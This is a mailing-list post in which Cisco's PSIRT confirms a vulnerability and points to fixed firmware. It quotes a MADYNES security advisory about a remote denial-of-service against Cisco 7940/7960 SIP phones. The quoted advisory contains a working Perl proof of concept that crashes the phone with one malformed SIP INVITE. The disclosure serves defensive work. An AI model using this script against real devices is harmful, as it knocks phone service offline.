[VOIPSEC] Asterisk SDP DOS vulnerability

[Matthew Cerha]

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This is in response to the e-mail posted by Radu State. The original
e-mail is available at

http://voipsa.org/pipermail/voipsec_voipsa.org/2007-March/002276.html

Hi Radu,

Thanks for reporting this issue to Cisco's Product Security Incident
Response Team (PSIRT).

We have confirmed your findings with the 7940/60 SIP 7.4(0)
(P0S3-07-4-00) firmware. Cisco has also confirmed that firmware version
8.6(0) (POS8-6-0) is not vulnerable to this issue. The latest firmware
images for Cisco 7940/60 phones can be obtained here:

http://www.cisco.com/cgi-bin/tablebuild.pl/sip-ip-phone7960

We are always open for vulnerability reports regarding any Cisco
products. Such reports can be directly sent to us at psirt at cisco.com or
to security-alert at cisco.com in case of an emergency.

Best regards,

Matthew Cerha
Cisco Systems

Radu State wrote:
> MADYNES Security Advisory
>
>
> http://madynes.loria.fr
>
>
>
> Severity: High
>
> Title: Cisco 7940 SIP INVITE remote DOS
>
> Date: February 19, 2007
>
> ID: KIPH2
>
>
> Synopsis: After sending a cra fted INVITE message the device immediately
> reboots. The phone does not check properly the sipURI field of the
> Remote-Party-ID in the message.
>
> The vendor was informed and acknowledged the vulnerability. This
> vulnerability was identified by the Madynes research team at INRIA
> Lorraine, using the Madynes VoIP fuzzer.
>
>
> Background: SIP is the IETF standardized (RFCs 2543 and 3261) protocol
> for VoIP signalization. SIP is an ASCII based INVITE message is used to
> initiate and maintain a communication session.
>
>
> Affected devices: Cisco phone 7940/7960 running firmware P0S3-07-4-00
>
>
> Unaffected: devices running firmware POS8-6-0
>
>
>
> Proof of Concept Code:
>
>
> #!/usr/bin/perl
>
> use IO::Socket::INET;
>
> die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);
>
>
> $socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],
>
> Proto=>'udp',
>
> PeerAddr=>$ARGV[0]);
>
>
> $msg="INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP
> 192.168.1.2;branch=z9hG4jk\r\nFrom: sip:chirimolla
> \@192.168.1.2;tag=qwzng\r\nTo: <sip:$ARGV[2]\@$ARGV[0];user=ip>\r
> \nCall-ID: fosforito\@192.168.1.1\r\nCSeq: 921 INVITE\r
> \nRemote-Party-ID: csip:7940-1\@192.168.\xd1.7\r\n\r\n";
>
> $socket->send($msg);
>
>
>
> Description: After receiving one crafted SIP INVITE message, the
> affected device reboots immediately. The proof of concept code can be
> used to demonstrate the vulnerability.
>
>
>
> Impact
>
> A malicious user can remotely crash and perform a denial of service
> attack by sending one crafted SIP INVITE message. This is conceptually
> similar to the “ping of death”.
>
>
> Resolution:
>
> Fixed software is available from the vendor and customers following
> recommended best practices (ie segregating VOIP traffic from data) will
> be protected from malicious traffic in most situations.
>
>
>
>
>
>
>
> Credits:
>
> Humberto J. Abdelnur (Ph.D Student)
>
> Radu State (Ph.D)
>
> Olivier Festor (Ph.D)
>
> This vulnerability was identified by the Madynes research team at INRIA
>
> Lorraine, using the Madynes VoIP fuzzer.
>
> http://madynes.loria.fr/
>
>
>
>
> Information about us: Madynes is a research team at INRIA Lorraine
> working on VoIP Security assessment, intrusion detection and prevention.
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